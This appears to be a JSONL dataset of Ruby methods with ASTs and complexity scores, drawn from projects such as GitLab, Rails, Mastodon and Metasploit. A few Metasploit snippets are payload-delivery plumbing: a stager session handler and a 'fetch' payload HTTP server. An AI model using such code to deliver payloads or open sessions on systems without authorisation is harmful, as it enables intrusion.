{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/auth/ldap/person_spec.rb","start_line":161,"raw_source":"def assert_generic_test(test_description, got, expected)\n    test_failure_message = \"Failed test description: '#{test_description}'\\n\\n    expected: #{expected}\\n         got: #{got}\"\n    expect(got).to eq(expected), test_failure_message\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_generic_test\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_description\"]},{\"type\":\"arg\",\"children\":[\"got\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_failure_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed test description: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_description\"]}]},{\"type\":\"str\",\"children\":[\"'\\n\\n    expected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"str\",\"children\":[\"\\n         got: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"got\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"got\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"lvar\",\"children\":[\"test_failure_message\"]}]}]}]}","id":"11393289-264d-4aeb-9bf2-281c6626fee2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/databases/concerns/elastic_executor.rb","start_line":45,"raw_source":"def create_alias(strategy)\n          actions = [{\n            add: {\n              indices: strategy.partition_names,\n              alias: strategy.collection_name\n            }\n          }]\n          raw_client.indices.update_aliases(body: { actions: actions })\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strategy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actions\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"add\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indices\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"partition_names\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alias\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"collection_name\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_client\"]},\"indices\"]},\"update_aliases\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"actions\"]},{\"type\":\"lvar\",\"children\":[\"actions\"]}]}]}]}]}]}]}]}","id":"ed6cf91b-5320-4ea4-a6f9-e1ba192442c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/usage_data/instrumentation_superclass.rb","start_line":48,"raw_source":"def on_send(node)\n          return unless in_instrumentation_file?(node)\n\n          class_new_definition(node) do\n            register_offense(node.children.last)\n          end\n        end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_instrumentation_file?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_new_definition\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"last\"]}]}]}]}]}","id":"6dbfec58-dd04-4c9f-8169-2262238bec43"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":601,"raw_source":"def test_uncountable_resource\n    with_test_routes do\n      @series.save\n      assert_url \"http://example.com/series/#{@series.id}\", @series\n      assert_url \"http://example.com/series\", Series.new\n    end\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_uncountable_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://example.com/series/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@series\"]},\"id\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@series\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_url\",{\"type\":\"str\",\"children\":[\"http://example.com/series\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Series\"]},\"new\"]}]}]}]}]}","id":"57cb49d0-e640-456a-8e30-e862b30f07fb"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/users/username_generator.rb","start_line":47,"raw_source":"def first_available_from(list)\n      list.detect { |username| !username_exists?(username) }\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"first_available_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username_exists?\",{\"type\":\"lvar\",\"children\":[\"username\"]}]},\"!\"]}]}]}","id":"fb25a0fa-90a8-4be1-a853-6431ce12ab39"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/generators/batched_background_migration/batched_background_migration_generator_spec.rb","start_line":100,"raw_source":"def load_expected_file(file_name)\n    File.read(File.expand_path(\"expected_files/#{file_name}\", __dir__))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_expected_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected_files/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}","id":"2d4793af-b68d-468a-a765-060d0c62ef5e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/json_output.rb","start_line":71,"raw_source":"def test_paths\n    assert @@json[\"warnings\"].all? { |w| not w[\"file\"].start_with? \"/\" }\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"warnings\"]}]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"[]\",{\"type\":\"str\",\"children\":[\"file\"]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"!\"]}]}]}]}","id":"89f5d44b-8ff0-4375-af9d-885415432f6a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/stager.rb","start_line":245,"raw_source":"def handle_connection_stage(conn, opts={})\n    create_session(conn, opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_connection_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"create_session\",{\"type\":\"lvar\",\"children\":[\"conn\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"ebf9ba73-75dd-4336-9435-ca5e87b7ec98"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/adapter/fetch/server/http.rb","start_line":82,"raw_source":"def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil)\n    begin\n      fetch_service = Rex::ServiceManager.start(\n        Rex::Proto::Http::Server,\n        fetch_bindport, fetch_bindhost, ssl,\n        {\n          'Msf' => framework,\n          'MsfExploit' => self\n        },\n        _determine_server_comm(fetch_bindhost),\n        ssl_cert,\n        ssl_compression,\n        ssl_cipher,\n        ssl_version\n      )\n    rescue Exception => e\n      cleanup_handler\n      fail_with(Msf::Exploit::Failure::BadConfig, \"Fetch handler failed to start on #{fetch_bindnetloc}\\n#{e}\")\n    end\n    vprint_status(\"Fetch handler listening on #{fetch_bindnetloc}\")\n    fetch_service\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"start_http_server\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ssl\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"ssl_cert\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"ssl_compression\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"ssl_cipher\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"ssl_version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fetch_service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ServiceManager\"]},\"start\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"Http\"]},\"Server\"]},{\"type\":\"send\",\"children\":[null,\"fetch_bindport\"]},{\"type\":\"send\",\"children\":[null,\"fetch_bindhost\"]},{\"type\":\"lvar\",\"children\":[\"ssl\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"_determine_server_comm\",{\"type\":\"send\",\"children\":[null,\"fetch_bindhost\"]}]},{\"type\":\"lvar\",\"children\":[\"ssl_cert\"]},{\"type\":\"lvar\",\"children\":[\"ssl_compression\"]},{\"type\":\"lvar\",\"children\":[\"ssl_cipher\"]},{\"type\":\"lvar\",\"children\":[\"ssl_version\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_handler\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetch handler failed to start on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_bindnetloc\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetch handler listening on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch_bindnetloc\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"fetch_service\"]}]}]}","id":"895c5c9e-c2a3-4000-aca3-b898f5470213"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/xml_mini_test.rb","start_line":22,"raw_source":"def test_rename_key_does_nothing_with_dasherize_false\n      assert_equal \"my_key\", ActiveSupport::XmlMini.rename_key(\"my_key\", dasherize: false)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rename_key_does_nothing_with_dasherize_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"my_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"XmlMini\"]},\"rename_key\",{\"type\":\"str\",\"children\":[\"my_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dasherize\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"341f4b92-1318-407e-a731-6ff27e91b5ee"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/amqp/version_0_9_1/client.rb","start_line":91,"raw_source":"def login(username, password, vhost: '/')\n    connect if @conn.nil?\n\n    send_protocol_header\n    connection_start(username, password)\n\n    resp = recv_frame\n    if is_method_frame?(resp, Version091::Frames::MethodArguments::AmqpVersion091ConnectionClose)\n      close\n      return false\n    elsif !is_method_frame?(resp, Version091::Frames::MethodArguments::AmqpVersion091ConnectionTune)\n      raise Error::UnexpectedReplyError.new(resp)\n    end\n\n    @server_info[:tuning] = resp.arguments.snapshot\n    connection_tune_ok = Version091::Frames::AmqpVersion091MethodFrame.new\n    connection_tune_ok.arguments = Version091::Frames::MethodArguments::AmqpVersion091ConnectionTuneOk.new(\n      resp.arguments.snapshot\n    )\n    send_frame(connection_tune_ok)\n\n    connection_open(vhost)\n\n    true\n  end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"kwoptarg\",\"children\":[\"vhost\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conn\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"connect\"]},null]},{\"type\":\"send\",\"children\":[null,\"send_protocol_header\"]},{\"type\":\"send\",\"children\":[null,\"connection_start\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[null,\"recv_frame\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_method_frame?\",{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"MethodArguments\"]},\"AmqpVersion091ConnectionClose\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"close\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_method_frame?\",{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"MethodArguments\"]},\"AmqpVersion091ConnectionTune\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]},\"UnexpectedReplyError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"tuning\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"arguments\"]},\"snapshot\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection_tune_ok\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"AmqpVersion091MethodFrame\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_tune_ok\"]},\"arguments=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version091\"]},\"Frames\"]},\"MethodArguments\"]},\"AmqpVersion091ConnectionTuneOk\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"arguments\"]},\"snapshot\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_frame\",{\"type\":\"lvar\",\"children\":[\"connection_tune_ok\"]}]},{\"type\":\"send\",\"children\":[null,\"connection_open\",{\"type\":\"lvar\",\"children\":[\"vhost\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6d094769-5ebd-4358-ac14-021b4805111c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/job_token/scope.rb","start_line":74,"raw_source":"def autopopulated_inbound_project_ids\n        inbound_allowlist.autopopulated_project_global_ids\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autopopulated_inbound_project_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbound_allowlist\"]},\"autopopulated_project_global_ids\"]}]}","id":"cd58cd72-950a-4318-b50e-19a6d54e3148"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/index.rb","start_line":384,"raw_source":"def expect_no_sorting_option_in_action_menu(column_name)\n        expect(page).to have_no_css(\"[data-test-selector='#{column_name.downcase}-sort-asc']\")\n        expect(page).to have_no_css(\"[data-test-selector='#{column_name.downcase}-sort-desc']\")\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_sorting_option_in_action_menu\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-test-selector='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"-sort-asc']\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-test-selector='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_name\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"-sort-desc']\"]}]}]}]}]}]}","id":"7fc4e9e0-2dc1-48cd-851b-953a1b95311f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/migrations_helpers.rb","start_line":72,"raw_source":"def self.name\n        table_name.singularize.camelcase\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]},\"singularize\"]},\"camelcase\"]}]}","id":"bb67fa2a-b425-4b6b-b24f-8f9f6f193606"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/concerns/op_turbo/streamable.rb","start_line":137,"raw_source":"def wrapped?\n      !!@wrapped\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapped?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wrapped\"]},\"!\"]},\"!\"]}]}","id":"be74f73d-6c21-4c89-b028-4170d5c11972"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/migration_utils/squashed_migration.rb","start_line":36,"raw_source":"def self.squashed_migrations(*migrations)\n    if migrations.any?\n      @squashed_migrations = migrations\n    else\n      @squashed_migrations.map { |m| m.gsub(/_.*\\z/, \"\") }\n    end\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"squashed_migrations\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"migrations\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrations\"]},\"any?\"]},{\"type\":\"ivasgn\",\"children\":[\"@squashed_migrations\",{\"type\":\"lvar\",\"children\":[\"migrations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@squashed_migrations\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_.*\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"4d1c9191-b725-4b56-93b3-596d259ed530"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/notify_service.rb","start_line":263,"raw_source":"def push_to_streaming_api!\n    redis.publish(\"timeline:#{@recipient.id}:notifications\", Oj.dump(event: :notification, payload: InlineRenderer.render(@notification, @recipient, :notification)))\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"push_to_streaming_api!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"publish\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"timeline:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recipient\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\":notifications\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"sym\",\"children\":[\"notification\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InlineRenderer\"]},\"render\",{\"type\":\"ivar\",\"children\":[\"@notification\"]},{\"type\":\"ivar\",\"children\":[\"@recipient\"]},{\"type\":\"sym\",\"children\":[\"notification\"]}]}]}]}]}]}]}","id":"f6ec8393-5803-41ff-a9a3-ba0cf3702ee5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/subscriptions/ci/jobs/status_updated.rb","start_line":15,"raw_source":"def authorized?(job_id:)\n          job = force(GitlabSchema.find_by_gid(job_id))\n\n          unauthorized! unless job && Ability.allowed?(current_user, :read_build, job)\n\n          true\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"job_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"send\",\"children\":[null,\"force\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"find_by_gid\",{\"type\":\"lvar\",\"children\":[\"job_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_build\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"unauthorized!\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6051cceb-36ac-4ffa-b4a2-5f13bf7ec076"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":309,"raw_source":"def test_nullify_composite_foreign_key_has_many_association\n    blog_post = sharded_blog_posts(:great_post_blog_one)\n    comment = sharded_comments(:great_comment_blog_post_one)\n\n    assert_not_empty(blog_post.comments)\n    blog_post.comments = []\n\n    comment = Sharded::Comment.find(comment.id)\n    assert_nil(comment.blog_post_id)\n    assert_nil(comment.blog_id)\n\n    assert_empty(blog_post.comments)\n    assert_empty(blog_post.reload.comments)\n  end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nullify_composite_foreign_key_has_many_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blog_post\",{\"type\":\"send\",\"children\":[null,\"sharded_blog_posts\",{\"type\":\"sym\",\"children\":[\"great_post_blog_one\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[null,\"sharded_comments\",{\"type\":\"sym\",\"children\":[\"great_comment_blog_post_one\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"comments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"comments=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sharded\"]},\"Comment\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"blog_post_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"blog_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"comments\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"reload\"]},\"comments\"]}]}]}]}","id":"5b08a0b5-de2d-40b1-b1f2-c7a65e92f566"}
